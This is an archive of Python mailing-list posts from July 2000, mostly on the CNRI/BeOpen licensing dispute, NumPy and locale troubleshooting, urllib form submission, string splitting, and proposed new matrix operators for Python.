I believe you have to rebuild all extentions for use with 1.6.. so you have
to get the sources and recompile, or get someone else to do that for you,
for it to work...

--Stephen
Tim Hamza <thamza.dontbesendingmenospam at geocities.com> wrote in message
news:xSA95.8234$7%3.621764 at news.flash.net...
> Hey all,
>
> I'm new so maybe I'm missing something easy.
>
> Python 1.6a2 (no other snakes in the system), Numpy 15.2, Win98.  Unzipped
> NumPy to the Python directory and ended up with a /python/Numeric.pth file
> as well as /python/Numeric and /python/include/Numeric directories.
>
> Here's what I'm getting:
>
>     C:\>python
>     Python 1.6a2 (#0, Apr  6 2000, 11:45:12) [MSC 32 bit (Intel)] on win32
>     Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>     >>> import Numeric
>     Fatal Python error: PyThreadState_Get: no current thread
>
>     abnormal program termination
>
>     C:\>
>
> Also blows up in idle.  Am I doing something wrong?  Does this version of
> NumPy not work with this version of Python?
>
> Thanks,
>                 Tim
>
>
>
>




From smoriano at sicon.net  Thu Jul 13 08:40:36 2000
From: smoriano at sicon.net (sergio)
Date: Thu, 13 Jul 2000 14:40:36 +0200
Subject: Files question
Message-ID: <396DB8C4.EC239CD2@sicon.net>

Hi all,
    I'm working in winNT Server 4.0.
    How can i know if a file is open by other apllication, in order to
wait till the file is free

    Thanks in advance




From pduffin at hursley.ibm.com  Mon Jul 31 05:28:37 2000
From: pduffin at hursley.ibm.com (Paul Duffin)
Date: Mon, 31 Jul 2000 10:28:37 +0100
Subject: The State of Python
References: <LNBBLJKPBEHFEDALKOLCOEBCGNAA.tim_one@email.msn.com>
Message-ID: <398546C5.E9E59957@hursley.ibm.com>

Tim Peters wrote:
> 
> [posted & mailed]
> 
> [Greg Ewing]
> > There's one thing I don't get about this whole
> > license fiasco. What the heck gives CNRI the right
> > to dictate what sort of license BeOpen is allowed
> > to attach to its next version of Python? Surely
> > they can use any license they like as long as it's
> > compatible with the existing Python license.
> 
> CNRI claims that the existing (CWI) Python license isn't a valid license,
> and while that claim makes little sense to me I'm not a lawyer.  At least
> one enthusiastic lawyer on each side of that question is known to exist,
> though, so that would make it a protracted court battle.  We just want to
> get on with our Python work!  It's bad enough that it's taking so long to
> resolve without sucking our ponderous legal system into it.
> 
> Beyond that, there are all sorts of complications, and we *want* this to end
> on friendly terms.  For example, Guido did promise CNRI to produce a final
> 1.6 release for them, and BeOpen agreed to honor that commitment.  As the
> copyright holder of record, CNRI can certainly put any license they want on
> *that* release (the CWI license sure won't stop that, "valid" or not).  But
> so long as we can get them to agree on a *reasonable* (as defined by us --
> and if CNRI isn't asking you, we're the best hope you've got <0.1 wink>)
> license, we'll be happy to ship Python 2.0 too using CNRI's 1.6 license.
> That does look like the most likely outcome right now.  But if a reasonable
> license can't be gotten, at some not-distant point we'll have to just cut
> this off and risk Python's future on the validity of the CWI license and the
> vagaries of the law.
> 
> But nobody on either side *wants* that.  JPython is also cringing in the
> background here, and JPython is wholly & indisputably owned by CNRI (unlike
> CPython, JPython was both born and raised at CNRI).  It would be of real
> value to the JPython community to get a friendlier license for JPython too,
> and CNRI has said they would consider re-releasing JPython under the CNRI
> 1.6 Python license.  That's worth some pain to achieve.
> 
> CNRI also owns the python.org domain and has copyright on that website (btw,
> that's why it's barely been updated this month -- the ex-CNRI folks at
> PythonLabs lost admin access to it), ditto jpython.org, hosts the Python
> Consortium, and runs the PSA as well.  So it's not just the source code for
> Python that's at risk here.
> 
> Of course, CNRI may have a completely different tale to tell about all this,
> buy I can't speak for them.
> 

That sounds absolutely horrendous. Tcl is also going through some major 
changes in its development process to make it more Open Source but it is 
nowhere near as painful as what seems to be happening to Python. I hope
that you get it resolved as quickly as possible.

Who will hold the license on Python 2.0 ? 

Is it going to be BeOpen ?

Could the license be held by the community in some way to prevent this
sort of legal wrangling in future ?

How about having a concept of stewardship, i.e. BeOpen is the current
steward of Python on behalf of the community. 

By Python I mean all Python related resources that BeOpen manage, so 
this would include all information on the web site, the domain name, etc. 

If BeOpen could no longer support Python for whatever reason then those 
resources would be turned over to the community and they could then look 
for a new steward for Python.

The community would also have the option to choose a new steward for 
Python if they felt that BeOpen was not supporting Python properly or
someone else could support it better.

This would have to be a legal contract so for instance if BeOpen was
taken over, or went bankrupt Python could not be sold off to the highest
bidder.

The biggest problem with this is determining what the will of the 
community is.


From aa8vb at yahoo.com  Mon Jul 17 07:11:34 2000
From: aa8vb at yahoo.com (Randall Hopper)
Date: Mon, 17 Jul 2000 07:11:34 -0400
Subject: automatically filling web forms?
In-Reply-To: <JI4c5.27939$SU5.618637@afrodite.telenet-ops.be>; from
 jeroen@valcke.com on Sat, Jul 15, 2000 at 09:29:13PM +0000
References: <JI4c5.27939$SU5.618637@afrodite.telenet-ops.be>
 <etdaefjvyvc.fsf@w20-575-115.mit.edu>
 <JI4c5.27939$SU5.618637@afrodite.telenet-ops.be>
Message-ID: <20000717071134.A2351410@vislab.epa.gov>

Alex:
 |Jeroen Valcke:
 |
 |> can I automatically fill webforms?
 |
 |Yes, you can.  Check out the htmllib module, which you can use to get
 |the forms out of the document, and the GET and POST capabilities of
 |urllib, which you can use to send your response.

Don't know about the htmllib module option, but here's how with urllib on
Python 1.5.2, for both GET and POST.

   import urllib, os

   BASE_URL = "http://www.a-cool-site.com:80/cgi-bin/get_data.cgi"

   parms = { 'parm1' : val1,
             'parm2' : val2 }

   if METHOD == "get":
     filename, headers = urllib.urlretrieve( "%s?%s" %
                                      ( BASE_URL, urllib.urlencode( parms ) ) )

   else: # METHOD == "post"
     #-------  I've submitted a patch so that this will work  -------
     #filename, headers = urllib.urlretrieve( BASE_URL,
     #                                        urllib.urlencode( parms ) )

     #-------  But for now, do this  -------
     fp = urllib.urlopen( BASE_URL, urllib.urlencode( parms ) )

     tfp = open(filename, 'wb')
     bs = 1024*8
     block = fp.read(bs)
     while block:
         tfp.write(block)
         block = fp.read(bs)
     tfp.close()
     fp.close()

   #=====  Work with query results here (they're in file 'filename') =====

   urllib.urlcleanup()
   if METHOD == "post":  os.unlink( filename )  

-- 
Randall Hopper
aa8vb at yahoo.com



From tim_one at email.msn.com  Mon Jul 31 01:50:53 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Mon, 31 Jul 2000 01:50:53 -0400
Subject: The State of Python
In-Reply-To: <3984FD40.6791C03C@my.signature>
Message-ID: <LNBBLJKPBEHFEDALKOLCOEBCGNAA.tim_one@email.msn.com>

[posted & mailed]

[Greg Ewing]
> There's one thing I don't get about this whole
> license fiasco. What the heck gives CNRI the right
> to dictate what sort of license BeOpen is allowed
> to attach to its next version of Python? Surely
> they can use any license they like as long as it's
> compatible with the existing Python license.

CNRI claims that the existing (CWI) Python license isn't a valid license,
and while that claim makes little sense to me I'm not a lawyer.  At least
one enthusiastic lawyer on each side of that question is known to exist,
though, so that would make it a protracted court battle.  We just want to
get on with our Python work!  It's bad enough that it's taking so long to
resolve without sucking our ponderous legal system into it.

Beyond that, there are all sorts of complications, and we *want* this to end
on friendly terms.  For example, Guido did promise CNRI to produce a final
1.6 release for them, and BeOpen agreed to honor that commitment.  As the
copyright holder of record, CNRI can certainly put any license they want on
*that* release (the CWI license sure won't stop that, "valid" or not).  But
so long as we can get them to agree on a *reasonable* (as defined by us --
and if CNRI isn't asking you, we're the best hope you've got <0.1 wink>)
license, we'll be happy to ship Python 2.0 too using CNRI's 1.6 license.
That does look like the most likely outcome right now.  But if a reasonable
license can't be gotten, at some not-distant point we'll have to just cut
this off and risk Python's future on the validity of the CWI license and the
vagaries of the law.

But nobody on either side *wants* that.  JPython is also cringing in the
background here, and JPython is wholly & indisputably owned by CNRI (unlike
CPython, JPython was both born and raised at CNRI).  It would be of real
value to the JPython community to get a friendlier license for JPython too,
and CNRI has said they would consider re-releasing JPython under the CNRI
1.6 Python license.  That's worth some pain to achieve.

CNRI also owns the python.org domain and has copyright on that website (btw,
that's why it's barely been updated this month -- the ex-CNRI folks at
PythonLabs lost admin access to it), ditto jpython.org, hosts the Python
Consortium, and runs the PSA as well.  So it's not just the source code for
Python that's at risk here.

Of course, CNRI may have a completely different tale to tell about all this,
buy I can't speak for them.

lately-i-don't-think-my-employer-even-wants-me-speaking-
    for-me<wink>-ly y'rs  - tim





From slinkp23 at yahoo.com  Sat Jul 22 09:25:09 2000
From: slinkp23 at yahoo.com (Paul Winkler)
Date: Sat, 22 Jul 2000 09:25:09 -0400
Subject: locale and _locale ??
Message-ID: <3979A0B5.8A64DA0A@yahoo.com>

Hi,

I seem to be missing the _locale module needed by locale.

I have python-1.5.2-13 (latest RPM I can find on RedHat's download
sites).
Running RedHat linux.

When I try to import locale, I get:
  File "<stdin>", line 1, in ?
  File "/usr/lib/python1.5/locale.py", line 4, in ?
    from _locale import *
ImportError: No module named _locale

Looking for *locale* turns up these files:
/usr/lib/python1.5/_localemodule.c  
/usr/lib/python1.5/locale.pyc
/usr/lib/python1.5/locale.py        
/usr/lib/python1.5/locale.pyo

Nothing called _locale.py...

I did a deja search and found one posting that suggested _locale was
left
out of the RPM by mistake. But there is no newer RPM on RedHat's
site.
I also downloaded the latest python sources I could find at
ftp.python.org, called py152.tgz  ... no _locale.  I also tried
py152b2.tgz ... no _locale.

Where can I find _locale??? Can somebody point me to some version of
python that *definitely* includes it? I'm getting really frustrated
with downloading megabytes of data on a slow modem just to see if
MAYBE this one includes this one little file...

TIA,

PW
 
.................    paul winkler    ..................
slinkP arts:   music, sound, illustration, design, etc.
        web page:  http://www.ulster.net/~abigoo        
      A member of ARMS:   http://www.reacharms.com
               or http://www.mp3.com/arms


From ooflell at msn.com  Wed Jul 26 14:41:39 2000
From: ooflell at msn.com (LockinThisRate)
Date: Wed, 26 Jul 2000 14:41:39
Subject: MAKE 36% ANNUALLY- get paid 3% monthly -Fully Secured  
Message-ID: <kfwWQuwkacuw@Received: from  rly-yc01.mx.aol.com>

A non-text attachment was scrubbed...
Name: not available
Type: text/plain, charset="iso-8859-1"
Size: 893 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20000726/a4108885/attachment.bin>

From phd at phd.russ.ru  Wed Jul 12 04:07:05 2000
From: phd at phd.russ.ru (Oleg Broytmann)
Date: Wed, 12 Jul 2000 08:07:05 +0000 (GMT)
Subject: Script for checking FTP + HTTP links?
In-Reply-To: <396BAD73.MD-1.4.4.angband@blueyonder.co.uk>
Message-ID: <Pine.LNX.4.21.0007120806110.29654-100000@fep132.fep.ru>

On Tue, 11 Jul 2000, Bablos wrote:
> I'm looking for a script that can check through several HTML files and
> check the links to other HTML files, and also any files linked via FTP
> and HTTP. I've found a Perl script that does this, and there MUST be a
> Python script out there that does it.

   http://starship.python.net/crew/marduk/linbot/

Oleg.            (All opinions are mine and not of my employer)
---- 
    Oleg Broytmann      Foundation for Effective Policies      phd at phd.russ.ru
           Programmers don't die, they just GOSUB without RETURN.




From tim_one at email.msn.com  Thu Jul 27 12:36:38 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Thu, 27 Jul 2000 12:36:38 -0400
Subject: The State of Python
In-Reply-To: <cpog3jjztl.fsf@cj20424-a.reston1.va.home.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCEEGAGMAA.tim_one@email.msn.com>

[richard_chamberlain at my-deja.com]
> If someone had made a contribution to the standard library and had
> written a certain licensing agreement as a comment in the file would
> that module still be covered by the BeOPEN or CNRI agreement? - or
> would it's own license still stand?

I think you need a cadre of your lawyers to meet with CNRI's to get a
credible answer on that one.  Note that contributions to Python generally
weren't accepted if they contained a license more restrictive than the
Python license; for example, there is no GPL'ed code in the Python
distribution.  Note also that, late in the game, CNRI required a release
form with all Python contributions, specifically granting CNRI certain broad
rights to your code.

I personally contributed stuff to Python with an explicit "released to the
public domain" notice in the files, and *believed* I was contributing them
to be released by CNRI under the Python license, and I'm personally unhappy
to see the license changed (although, since I did put my stuff in the public
domain, they're free to do anything they like with it -- my objection is not
about the legality, it's about ... "playing fair").

[Guido]
> I'm not a lawyer, and CNRI has on several occasions claimed that in
> the view of their lawyers the old Python license is not a license.  So
> they may not feel they need to respect other people's licenses (many
> of those licenses are almost identical to the old Python license).
>
> But maybe they feel like respecting other people's copyrights, since
> they sure appear to believe in their own copyright!  So I expect that
> contributions that state a copyright may stand a chance.

I'm not a lawyer either (as you well know <wink>), but at least in America
you hold copyright on your works whether or not you state it explicitly.
Curiously, the CNRI disclaimer form didn't say anything about copyright.

> For more clarification, I suggest that you write directly to CNRI;
> contact info is on their website http://www.cnri.reston.va.us/.
> Especially if you own the copyright on some portion of Python and feel
> that your rights are in danger of being violated!





From dworkin at ccs.neu.edu  Wed Jul 26 13:35:13 2000
From: dworkin at ccs.neu.edu (Justin Sheehy)
Date: 26 Jul 2000 13:35:13 -0400
Subject: "always passes by reference"
In-Reply-To: weeks@golden.dtc.hp.com's message of "26 Jul 2000 01:10:15 GMT"
References: <8llct3$n34$1@news.dtc.hp.com> <8lldpn$n7a$1@news.dtc.hp.com>
Message-ID: <vndd7k0re0e.fsf@camelot-new.ccs.neu.edu>

weeks at golden.dtc.hp.com ((Greg Weeks)) writes:

>     def f(a):
> 	a = 42
> 
>     x = 1
>     f(x)
>     print x			# PRINTS 1

You're not demonstrating calling convention here.  You're demonstrating 
assignment semantics.

If the end result of the above example was saying anything meaningful
about calling conventions in Python, then this would be hard to explain:

>>> def g(b):
...   b[1] = 'whoops'
... 
>>> y = [1, 2, 3]
>>> g(y)
>>> y
[1, 'whoops', 3]



-Justin

 



From see at my.signature  Thu Jul 20 00:49:47 2000
From: see at my.signature (Greg Ewing)
Date: Thu, 20 Jul 2000 16:49:47 +1200
Subject: Dot-comma, anyone? (Re: zip or marry etc)
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <T0ePelAgnJd5EwFl@jessikat.fsnet.co.uk> <397517C6.93911CF0@prescod.net>
Message-ID: <397684EB.3E0C5D88@my.signature>

Paul Prescod wrote:
> 
> We're looking just to pair up elements.

In that case, obviously the solution is to combine this
thread with the one on new operator symbols, and define
an elementwise tuple-creation operator

   .,

as in

  [1,2,3] ., [4,5,6] == [(1,4), (2,5), (3,6)]

It might even look halfway decent in a for loop:

  for x,y in a.,b:
    ...

It would be a somewhat strange operator, as it would have
to extend over multiple arguments like comma does, so that

  for x,y,z in a.,b.,c:
   ....

would do the right thing. So it wouldn't really be an operator,
more of a new built-in syntax for zipping, in the same way
that the comma is a built-in syntax for tuple construction.

Do-you-think-"Will-you-zip-me?"-is-likely-to-catch-on-as-
a-proposal-line-between-Pythoneer-lovers-ly,

-- 
Greg Ewing, Computer Science Dept, University of Canterbury,	  
Christchurch, New Zealand
To get my email address, please visit my web page:	  
http://www.cosc.canterbury.ac.nz/~greg


From dawks at tesco.net  Mon Jul 31 19:20:36 2000
From: dawks at tesco.net (phil)
Date: Mon, 31 Jul 2000 23:20:36 GMT
Subject: [5th Draft] Open Letter to CNRI: Request for clarification
References: <3985D797.E5D2FC08@nowonder.de> <8m4kmu$1eq$1@kopp.stud.ntnu.no> <004601bffb2a$ef9179f0$788b18ac@boeckh.com>
Message-ID: <3986033f.16319646@news.tesco.net>

On Mon, 31 Jul 2000 15:07:18 -0500, "Stuart Ford"
<stuart at forddata.com> wrote:

>Sorry about the ME2 type message.....
>
>
>Could you please include me in the list to CNRI?
>
>I have spent the last 15 months trying to convince my company that Python is
>not only a viable solution for prototyping, but also a good language for
>general
>development.
>
>Any change in the license that changes our ability to release products using
>Python will set all my hard work back to stage one, plus make me look the
>fool for recomending the language in the first place.
>

Exactly. I even asked this question in this group and was assured that
this was not a problem. Like, what he said:

>Any change in the license that changes our ability to release products using
>Python will set all my hard work back to stage one, plus make me look the
>fool for recomending the language in the first place.

>Stuart Ford
>Programmer/Analyst
>E.H. Boeckh Corporation
>
>
>
>



From neilh at scintilla.org.bbs  Mon Jul 17 21:30:03 2000
From: neilh at scintilla.org.bbs (neilh at scintilla.org.bbs)
Date: 18 Jul 2000 01:30:03 GMT
Subject: Could someone clone MS's IL for another OS?
Message-ID: <3bRWGR$lva@openbazaar.net>

> Could someone write a clone of MS's new intermediate compiler language to
> native code compiler in order to write Perl, Python, or Eiffel on
> Windows, compile it to IL, and then eventually native code compile it on
> some other OS platform?

   I think its likely Microsoft will publish enough documentation to make it
possible to write an IL VM for other systems. Microsoft may even make an IL
VM available for other systems with the most likely being MacOS. If this is
going to happen, I'd expect it to be announced at MacWorld this week.

   The question here is to what extent Microsoft wants to beat Java/Sun.
Widespread availability of IL VMs would help this goal, while still allowing
differentiation of the preferred platforms on the basis of which libraries
are available. Microsoft will also have a large lead in designing IL VMs so
will be able to ensure best perfromance is on those preferred platforms.
They can also win on effort applied - when competing with their Java VM
Microsoft achieved very good benchmarks.

> Does anyone think such a capability is a good idea?
> Does anyone think that someone will do this?

   Yes to both.

   Neil


From shuz at bresnanlink.net  Thu Jul 27 02:51:21 2000
From: shuz at bresnanlink.net (Aaron Berg)
Date: Thu, 27 Jul 2000 01:51:21 -0500
Subject: Sound---Anyone play with it in python?
Message-ID: <397FDBE9.B8E1A2E0@bresnanlink.net>

An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20000727/f0971b1a/attachment.html>

From tim.hochberg at ieee.org  Wed Jul 26 20:14:04 2000
From: tim.hochberg at ieee.org (Tim Hochberg)
Date: Thu, 27 Jul 2000 00:14:04 GMT
Subject: Please help... with re
References: <397F5947.EBDA7F33@e-pack.net> <bzHf5.48352$1h3.670995@news20.bellglobal.com> <8lnm7c0lu9@news1.newsguy.com>
Message-ID: <m2ya2obhvk.fsf@spiff.home.com>

Here's an improved version of the string splitting routine I posted
earlier. This is twice as fast as it was, courtesty of no longer using
the re module. It's also roughly 10X faster than the stream based
approach that was also posted to this thread (although it does assume
that there are no embedded nulls).

It would be interesting to see what the original 68 line monster
looked like and compare it's performance to the posted solutions
<hint>.

import string
def minimonster(text):    
    # Replace " with \0 (ASSUMES NO EMBEDDED NULLS)
    newtext = string.replace(text, '"', '\0')
    # Now replace \\0 (formerly \") with "
    newtext = string.replace(newtext, '\\\0', '"')
    # now split on \0 (formerly ")
    textlist = string.split(newtext, '\0')
    # Now split on even sections only (odd sections are quoted).
    result = []
    isEven = 1
    for item in textlist:
        if isEven:
            result.extend(string.split(item))
        else:
            result.append(item)
        isEven = not isEven
    return result

-tim


From nicklo at bigfoot.com  Thu Jul  6 11:56:22 2000
From: nicklo at bigfoot.com (Netvigator)
Date: Thu, 6 Jul 2000 23:56:22 +0800
Subject: job offer
Message-ID: <8k2a7p$mi71@imsp212.netvigator.com>

Hi Python guys,

First of all, sorry for posting something not related to the Python
language. However, I've got a good news for those living in Hong Kong or
wish to come to Hong Kong. Cos, my company is now recruiting Python
programmers. It's not easy to find Python people in Hong Kong. My company is
developing some WAP applications based on ZOPE. I'm sure you will find the
challange in my company. If you want to know more or want to arrange an
interview, please contact me thru nicklo at computer.org .

Thanks.

Nicholas Lo





From thomas at cintra.no  Tue Jul 25 07:37:36 2000
From: thomas at cintra.no (Thomas Weholt)
Date: Tue, 25 Jul 2000 11:37:36 GMT
Subject: Problems with py-bsddb3
Message-ID: <397f7afb.115428757@news.online.no>

Just compiled py-bsddb3 without problems, or so I thought. When I
tried to run any of the examples it crashed, saying:
 File "dbtest.py", line 25, in ?
    from bsddb3 import db
ImportError: No module named bsddb3

Didn't see any such file after compilation of the module. Copied the
dbcmodule.so to the lib-dynload-folder. 

Do I need more libs. than py-bsddb3? I didn't see anything in the
docs.

Thomas


From timaratz at lisco.com  Fri Jul 14 10:44:17 2000
From: timaratz at lisco.com (Peter Timaratz)
Date: Fri, 14 Jul 2000 09:44:17 -0500
Subject: Why make a language case sensitive?
In-Reply-To: <slrn8msrkq.7cg.jblaine@kickflop.ne.mediaone.net>
Message-ID: <000801bfeda1$fcd99a20$6cb745c6@timaratz>

I can't think of any advantages to a case sensitive language. Python is a
very well-designed language though, so I imagine there is a good reason that
it is case sensitive. So what are the advantages of a case sensitive
language?




From paul at prescod.net  Wed Jul 19 12:11:27 2000
From: paul at prescod.net (Paul Prescod)
Date: Wed, 19 Jul 2000 11:11:27 -0500
Subject: Operators for matrix: current choices (Was Matlab vs Python ...)
References: <Pine.LNX.4.10.10007181420000.9411-100000@rock.localdomain>
Message-ID: <3975D32F.43ADED21@prescod.net>

Huaiyu Zhu wrote:
> 
> ...
> Please jump in at any point that's both
> feasible and interesting enough for someone to actually do it:
> 
> 1. Make a pure python way to introduce additional operators, like
>    import NewOperator
>    NewOperator.define(".+", "__dotadd__")
>    NewOperator.define("+=", "__add_ab__")
>    NewOperator.define(":=", "__copy__")
> 
>    Advantage: Pure python.  Doesn't interfere with existing sytax.  May be
>    used for other operators.  Not in the core, only affect the module that
>    imports it.
>    Disadvantage: Said to be quite difficult to implement (Why?).

Parsers just do not work that way. Most parsers cannot be extended at
runtime. The language is defined at compile time by the grammar. The
only way to do it without rewriting Python's parser from scratch would
be to pre-declare every possible operator anyone might ever want in the
grammar.

> 2. Incorporate additional operators in python.  Either . or @.  Five to
>    eight would be enough for linear algebra.
> 
>    Advantage: Pure python.  Doesn't interfere with existing syntax.
>    Disadvantage: Fixed choice for everybody.  Unlikely to happen for quite
>    some time until everyone agrees on everything.

Agreed on all counts.

> 3. Maintain a patch for additional operators.
> 
>    Advantage: once built, everything is pure python.  Already have patch.
>    Disadvantage: Can't guarantee most users can patch python, so in practice
>    may need to maintain windows executable for download.

In the big picture, is that such a big deal?

> 4. Temporarily use a.mmul(b) and a.emul(b) before things settle down.  Then
>    define __dotmul__ = emul, or the like, when they are available.
> 
>    Advantage: immediately implementable.  Won't break anyone's code.  Can
>    also switch to  __atmul__ = mmul or other choices later.
>    Disadvantage: code somewhat cluttered.

Let me ask again, is that such a big deal?

> 6. Maintain two classes: E and M.
> 
>    Advantage: no need for new operators.
>    Disadvantage: artificial casting likely to be maintenance nightmare,
>    because we change objects while we really want to change operators.
> 
>    A variant: only use .E for elementwise.  Always return matrixwise.  This
>    is simply just using casting to help select among two methods denoted by
>    the same binary symbol.  Does not look much better than 4 but worth
>    considering.

I don't think anyone proposed the pre-variant variant. It was always
supposed to always return matrixwise.

> ...
> The argument "if it finds wide-spread use we may put it in the language" has
> a severe limitation - if it is technically very difficult for users to use a
> feature that's not in the language, it will unlikely to find wide-spread use
> and may never get into the language.  That's why I really hope something
> like 1 can come up.

Using method or function syntax is not "technically very difficult."
There are hundreds or thousands of NumPy users who can testify to that.
It is inconvenient. Yes. Inconvenience is the price of compromise.
Compromise is the price of sharing a language with people who are
uninterested your domain.

> ["%5.2f", "%-8s", "%.2g"] .% [pi, 'short', 1]

Eeek. That's really, really ugly. This is much more explicit:

i = ["%5.2f", "%-8s", "%.2g"] 
j = [pi, 'short', 1]
[for i,j in zip(list1, list2): i % j]

-- 
 Paul Prescod - Not encumbered by corporate consensus
Just how compassionate can a Republican get before he has to leave the 
GOP and join Vegans for Global Justice? ... One moment, George W. Bush
is holding a get-to-know-you meeting with a bunch of gay Republicans.
The next he is holding forth on education or the environment ... It is
enouX-Mozilla-Status: 0009ed conservative choke on his spotted-owl
drumstick.     - April 29th, Economist



From hzhu at localhost.localdomain.bbs  Mon Jul 17 23:00:04 2000
From: hzhu at localhost.localdomain.bbs (hzhu at localhost.localdomain.bbs)
Date: 18 Jul 2000 03:00:04 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators f
Message-ID: <3bRYX4$jy9@openbazaar.net>

On 18 Jul 2000 02:01:58 GMT, Kevin Jacobs <jacobs at darwin.epbi.cwru.edu> wrote:
>What if it could be as simple as:
>
>e(r'(A .* B)\C') # --> PyAlgebra.evaluate(r'(A .* B)\C', globals(), locals())
>where A, B and C are bound to variables in the current namespace
>automatically?  Does this not go 95% of the way toward the ideal solution?

Well, not that much.  What about this:

webpage = webobject(url)
result = e(r'transform * get_data_from(webpage)')

If it is allowed wouldn't we allow

result = e(r'transform * get_data_from(webobject(url))')

or even using "http:..." in place of url?  Eventually, wouldn't the
e(r'...') be able to parse the whole python grammer?

If on the other hand it is limited to numerical type objects only it is too
limited.  In MatPy.gplot we use lists, dicts and strings to deal with
multiline plots and titles, etc.

Well, maybe I just don't like to treat numerical type objects any
differently from other objects because they are intermixed all over in the
programs.  Otherwise a python-octave gateway or just stick with octave may
even be preferable.

One of my biggest gripe about matlab is it forces me to treat strings as
part of matrix.  Now you are asking me to treat matrix as part of string.
:-)

>I disagree with your conclusion.  Having worked with many algebra and
>statistical languages, I know the road you are undertaking.  It doesn't and
>can't stop with one extra dot in the grammar.  To do it right, you need the
>ability to break more rules that are intrinsic to Python's core.  e.g.,
>consider changing the rules for '\' as above.

This makes some sense, but I know a lot of people who can resist the
temptation of other syntactic sugar, except infix operator for arithmetics -
it's just too good a thing to miss.

There are proposals for using @/ and /@ for two directions of division, or
using % for left division.  I'm comfortable with the current solve(a,b), or
maybe a shorter sol(a,b) but am open to any suggestions.

>Another advantage to compromising and implementing a domain specific
>mini-language is that it simplifies some very tough design issues that only
>come up when working with the full Python grammar.  Some of these syntactic
>and semantic issues are very likely irreconcilable.  In the end we could end
>up with a any number of splinter languages with inferior support and narrow
>audiences.  Lets not forget we are a community of users with very diverse
>goals, all trying make our lives easier by building better tools.

I'm not quite with you here.  Exactly for the purpose of making numerical
objects and other objects work seemlessly together I am against changing
syntactic structure, and only for adding syntactic contents within current
structure. Well, let's see if this makes sense.  What I'm saying is, .* is
just another operator, so if you replace it with * the syntax structure does
not change. On the other hand, using e(r'...') changes the structure because
variable names within a string suddenly gets out.  In this sense it is less
like a function call with a string literal argument, but rather a special
syntax zone delimited with strange combination symbols e(r' and ').  If a
program is littered with such special zones the effect is very much like an
aspect of Perl that I happen to dislike.

Just my thoughts.

Huaiyu


From huaiyu_zhu at yahoo.com  Wed Jul 19 18:16:40 2000
From: huaiyu_zhu at yahoo.com (Huaiyu Zhu)
Date: Wed, 19 Jul 2000 15:16:40 -0700 (PDT)
Subject: Discussion: new operators for numerical computation
In-Reply-To: <LNBBLJKPBEHFEDALKOLCIENFGKAA.tim_one@email.msn.com>
Message-ID: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com>

Now that Guido has given the go-ahead for adding new operators for numerical
computation, let us consider carefully how to allocate this new resource,
taken into account Tim's guidelines.

Here's a list of issues that come to mind:

1. What symbols to use.

   It seems that we can more or less concentrate on using either . or @
   together with existing math operators.  Issues:

   (1) Use . or @

   (2) Which is matrixwise or elementwise

   (3) Compatibility: NumPy uses * for elementwise, MatPy uses * for
       matrixwise.

   (4) Similarity with Matlab (but not really compatibility). 

   Notation: To avoid confusion, I'll adopt matlab notation and invent a set
   of unique names in the following discussions:

        matrix          element      names (with prefix m or e)
          +               .+            add
          -               .-            sub
          *               .*            mul
          /               ./            div
          \               .\            sol
          ^               .^            pow

    Therefore the statement "Use /@ for msol" or "Use /@ for matlab\" or
    "Use a/@b for solve(a,b)" are equivalent.

    In your followup you may add a line like

    Notation: * is matrixwise and .* is elementwise
    Notation: @* is matrixwise and * is elementwise

    so people would understand your examples.


2. Precedence, scope and other properties:

   This is largely settled (and that's what Greg's patch does)

   - They have exactly the same properties as their ordinary counterparts.

   - The e and m versions give identical results on numbers.  


3. Their behavior on other objects:

   Even though they are supposed to be used for numerical objects only, what
   if user writes [10,20].+[1,2]?

   - Exception: no __dotadd__ or __rdotadd__ defined

   - Behave as eadd and give [11,22]

   - Behave as current + and give [10,20,1,2]

   The last one is dead, people writing [].+[] either made a typo of
   [].member+[] or want eadd.

   The second seems most sensible and least surprising, but it does need to
   include list in the implementation of eadd.

   My understanding is that Tim wants the first one.  So let's leave it
   there lest it drags other bits down.


4. The magic words:

   This really depends on issue 3 above.  

   - If it is intended that these thing should never acquire a meaning
     outside numerical computation, they should be called __mmul__,
     __emul__, etc, because that would describe the intension well.

   - If other classes, like UserList, are allowed to use them, it's better
     to use __dotmul__, __atmul__, etc, so the association with the symbols
     are strong.

   - Someone mentioned __altmul__ for @*, meaning alternative mul.


5. Other bits and pieces:

   - How to deal with left division?

    (1) Use sol(a,b)
    (2) use /@ or /.
    (3) use %

   - How to deal with power?  It is already two characters

    (1) Use ** and .** or @**
    (2) Steal ^ with .^ or @^ (not much chance, just mentioning here)

   - Do we want a copy operator := which is different from =?  It allows
     efficient code.  The following code does not change A
         B := A
         B += C
     This definitely will be usable for other classes. Call it __copy__?

   - Since augmented assignment almost certainly will get in the core, we
     need to consider combining them.  A few possible opinions

     (1) Just use prefix . or @ to mean e or m, use suffix = to mean in
         place assignment, and all are well defined.

     (2) a .**= 3 looks too long.  Don't combine them.

     (3) allow .+=, etc but ban .**=.


These are the things that come to mind.  Now, opinions, please.

Huaiyu

-- 
Huaiyu Zhu                       hzhu at users.sourceforge.net
Matrix for Python Project        http://MatPy.sourceforge.net 




From aotto at t-online.de  Wed Jul 12 01:58:19 2000
From: aotto at t-online.de (Andreas Otto)
Date: Wed, 12 Jul 2000 07:58:19 +0200
Subject: off-topic, "Compiler" technology
References: <396ABBD7.8715465D@t-online.de> <slrn8mmtao.tl.hzhu@localhost.localdomain> <3dog44zc7t.fsf@kronos.cnri.reston.va.us>
Message-ID: <396C08FB.80C9EE29@t-online.de>

Hi,

> 
> Read some of the compiler-related threads in c.l.tcl first, though;
> the compiler seems to be mostly a simple repackaging, and the author
> shows signs of Usenet kook-dom, as in
> http://www.deja.com/getdoc.xp?AN=642980911, where he says that the
> compiler technology used also applies to natural languages.  Time is
> probably better spent working on python2c, which is much less
> spectacular and much more plausible.
> 

  You can download, test, look to the source-code and run
  the application

  it is *not* a repackaging, the C back-end convert the TCL
  code into native C


mfg

  aotto :)

-- 
================================================================
Andreas Otto              Phone: ++49-(0)8152-399540
IPN Ingenieurbuero fuer   mailto:aotto at t-online.de
